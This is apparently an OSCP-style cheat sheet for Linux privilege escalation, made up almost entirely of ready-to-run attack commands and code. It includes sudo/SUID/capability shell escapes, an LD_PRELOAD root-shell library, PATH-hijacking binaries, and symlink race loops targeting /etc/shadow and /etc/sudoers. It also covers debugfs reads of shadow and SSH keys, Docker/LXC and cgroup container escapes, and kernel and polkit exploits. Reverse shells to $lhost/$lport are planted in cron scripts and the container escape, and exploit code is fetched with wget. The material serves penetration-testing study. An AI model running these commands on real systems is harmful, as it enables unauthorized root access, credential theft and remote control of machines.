- Enumeration
- SUDO Exploitation ➜ GTFOBins Guide
- SUID/SGID Exploitation
- SUID PATH Hijacking
- Capabilities
- Cron Jobs
- Race Condition (TOCTOU)
- Group Membership Abuse
- Additional SUID Exploits
- Kernel Exploits
- Enumeration Tools
- NFS Root Squashing
- Docker Escape
- See Also
id && sudo -l 2>/dev/null && find / -perm -4000 -type f 2>/dev/null && getcap -r / 2>/dev/null && cat /etc/crontab# Full system enum
uname -a && id && sudo -l 2>/dev/null && cat /etc/crontab 2>/dev/null
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
# Find writable /etc files
find /etc -writable -type f 2>/dev/null
# Search for passwords
grep -rniE 'password|passwd|pwd|secret|credential' /etc /home /var/www 2>/dev/null | head -50# Find SUID + check GTFOBins
for bin in $(find / -perm -4000 -type f 2>/dev/null); do echo "[*] $bin"; done# Find files with capabilities
getcap -r / 2>/dev/null# Check all cron locations
cat /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/* 2>/dev/null; ls -la /etc/cron.*/ 2>/dev/null📖 See full GTFOBins guide: 4.3.GTFOBins-Linux.md
sudo -l # List sudo permissions| Binary | Command |
|---|---|
| vim | sudo vim -c ':!/bin/bash' |
| find | sudo find / -exec /bin/bash \; -quit |
| python | sudo python3 -c 'import os; os.system("/bin/bash")' |
| less | sudo less /etc/passwd → !/bin/bash |
| awk | sudo awk 'BEGIN {system("/bin/bash")}' |
If env_keep+=LD_PRELOAD in sudo -l
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <ALLOWED_BINARY>find / -perm -4000 -type f 2>/dev/nullCheck GTFOBins for SUID exploits: https://gtfobins.github.io/
# /usr/bin/find with SUID
./find . -exec /bin/sh -p \; -quit
# /usr/bin/python3 with SUID
./python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# /usr/bin/vim with SUID
./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# /usr/bin/bash with SUID
./bash -pWhen a SUID binary calls another binary without full path
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check what commands the binary calls
strings /path/to/suid_binary
ltrace /path/to/suid_binary 2>&1
strace /path/to/suid_binary 2>&1
# Look for calls like: system("command") instead of system("/usr/bin/command")// exploit.c - Create malicious binary for PATH hijacking
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}# Compile malicious binary
gcc -o <hijacked_binary_name> exploit.c
chmod +x <hijacked_binary_name>
# Prepend current directory to PATH
export PATH=$(pwd):$PATH
# Run the vulnerable SUID binary
/path/to/suid_binary
# Get root shell!# If /usr/bin/scp is SUID and calls 'ssh' without full path:
gcc -o ssh exploit.c
chmod +x ssh
export PATH=$(pwd):$PATH
scp file user@host:/path
# Get root shell because scp calls our malicious 'ssh'getcap -r / 2>/dev/null# cap_setuid+ep on python3
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid+ep on perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'| Capability | Binary | Exploitation |
|---|---|---|
cap_setuid+ep |
python | python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
cap_setuid+ep |
perl | perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
cap_setuid+ep |
ruby | ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' |
cap_setuid+ep |
php | php -r 'posix_setuid(0); system("/bin/sh");' |
cap_setuid+ep |
node | node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' |
cap_dac_read_search+ep |
tar | tar cvf /tmp/shadow.tar /etc/shadow && tar xvf /tmp/shadow.tar |
cap_dac_override+ep |
vim | Read/write any file regardless of permissions |
cap_net_raw+ep |
tcpdump | Packet capture without root |
cap_net_bind_service+ep |
- | Bind to ports < 1024 |
# GTFOBins-style exploitation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
# cap_dac_read_search - read protected files
/usr/bin/tar -cvf /tmp/passwd.tar /etc/shadow
tar -xvf /tmp/passwd.tar
# Openssl read protected files
openssl enc -in /etc/shadow# Add capability
sudo setcap cap_setuid+ep /usr/bin/python3
# Remove capability
sudo setcap -r /usr/bin/python3
# View all files with capabilities
getcap -r / 2>/dev/nullcat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.*
crontab -l# If a cron job runs a writable script
echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /path/to/script.shIf cron runs script without absolute path
echo "#!/bin/bash" > /tmp/scriptname
echo "/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /tmp/scriptname
chmod +x /tmp/scriptname
export PATH=/tmp:$PATHTime-of-Check to Time-of-Use vulnerability in SUID binaries
# Look for patterns:
# 1. Binary checks file permissions
# 2. Time delay (sleep, network call, etc.)
# 3. Binary reads/writes the file
# Use ltrace to see syscalls
ltrace ./vulnerable_suid_binary testfile 2>&1
# Look for: access() followed by open() with delay between# If binary checks access() then reads file:
# We can switch the file between check and read
# Create symlink switcher loop
while true; do
ln -sf /root/flag.txt testfile
ln -sf /tmp/dummy.txt testfile
done &
# Race the SUID binary many times
for i in $(seq 1 1000); do
./vulnerable_suid_binary testfile 2>/dev/null
done// switch.c - Rapidly switch symlink target
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
while(1) {
unlink(argv[1]);
symlink("/etc/shadow", argv[1]);
unlink(argv[1]);
symlink("/tmp/dummy", argv[1]);
}
return 0;
}# Compile
gcc -o switch switch.c
# Create dummy file that passes access check
touch /tmp/dummy && chmod 644 /tmp/dummy
# Run symlink switcher in background
./switch testfile &
# Run vulnerable binary repeatedly
for i in $(seq 1 1000); do ./vulnerable_suid_binary testfile; done 2>/dev/null | grep -v "denied"# If SUID binary writes to file we control:
# Race to switch file to /etc/sudoers
echo "user ALL=(ALL:ALL) NOPASSWD: ALL" > /tmp/payload
# Switcher script
while true; do
ln -sf /tmp/payload testfile
ln -sf /etc/sudoers testfile
done &
# Trigger the write
./vulnerable_suid_writer testfile
# Check if it worked
sudo -lIf user is in disk group, can read raw disk and access all files
# Check group membership
id
groups# Find disk device (usually /dev/sda1 or /dev/sda2)
lsblk
df -h
# Read /etc/shadow directly from disk
debugfs /dev/sda2
debugfs: cat /etc/shadow
# Read SSH keys
debugfs: cat /root/.ssh/id_rsa
# Exit debugfs
debugfs: quit# Copy shadow hash to file
echo 'root:$6$...:...' > root_hash.txt
# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
# Switch to root
su root# Mount host filesystem in privileged container
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
# Or spawn shell with root access
docker run -v /:/mnt -it alpine /bin/sh
cat /mnt/etc/shadow# Import Alpine image
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
# Create privileged container
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
# Access host filesystem
cat /mnt/root/etc/shadowCheck GTFOBins: https://gtfobins.github.io/
# If /usr/bin/strace has SUID bit
strace -o /dev/null /bin/sh -p
# -p flag preserves privileges
whoami # Should be root# If sudo mawk is allowed
sudo mawk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/mawk 'BEGIN {system("/bin/bash")}'djvu file parsing vulnerability - limited versions
# Check version
exiftool -ver
# Affected: 7.44 - 12.23
searchsploit exiftoolLinux Kernel < 4.8.3
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <new_password>
su firefartLinux Kernel >= 5.8
gcc exploit.c -o exploit
./exploit /etc/passwd 1 "${openssl passwd -1 password}"polkit pkexec LPE
python3 cve-2021-4034.pypolkit privilege escalation via timing attack (Ubuntu 20.04, RHEL 8, Fedora 21+)
# Check polkit version
pkaction --version
# Exploit - create user with sudo privileges
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Attacker User" int32:1 & sleep 0.005s; kill $!
# Set password
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$hash' string:'' & sleep 0.005s; kill $!
# Login as new user
su - attacker
sudo -iAutomated exploit
# Download and run
wget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py
python3 CVE-2021-3560.pyglibc LPE
./expLinux Kernel 4.4.x - 4.13.x (Ubuntu 16.04)
# Check kernel version
uname -r
cat /etc/os-release
# Download exploit
wget https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c
# Compile on target (or cross-compile)
gcc cve-2017-16995.c -o cve-2017-16995
# Execute
./cve-2017-16995
whoami # Should be root# Find exploit
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"
searchsploit -m 45010 # Copy exploit
# Compile and run
gcc 45010.c -o exploit
./exploit./linpeas.sh
./linpeas.sh -a # All checks./LinEnum.sh
./LinEnum.sh -t # Thorough checks./linux-exploit-suggester.shMonitor processes without root
./pspy64
./pspy64 -pf -i 1000 # Print commands and file system events# Check NFS exports
cat /etc/exports
showmount -e $rhost# On attacker machine
mkdir /tmp/nfs
mount -t nfs $rhost:/share /tmp/nfs
cp /bin/bash /tmp/nfs/
chmod +s /tmp/nfs/bash
# On victim
/share/bash -p# Check if in container
cat /proc/1/cgroup
ls /.dockerenvmkdir /tmp/escape
mount -t cgroup -o rdma cgroup /tmp/escape
mkdir /tmp/escape/x
echo 1 > /tmp/escape/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/mounts | head -n1)
echo "$host_path/cmd" > /tmp/escape/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/escape/x/cgroup.procs"- Windows Privilege Escalation - Potato exploits, DLL hijacking, credential storage
- CVE Exploits - Dirty Cow, Dirty Pipe, Kernel exploits
- Lateral Movement - SSH lateral movement
- Ligolo-ng Guide - Tunnel through Linux pivot
- Reverse Shells - Shell payloads after escalation
- Lab Walkthrough Examples - Linux privesc in action
- Exam Tips & Tricks - Linux enumeration priority
- OSCP Exam Guide - Linux PrivEsc - Quick reference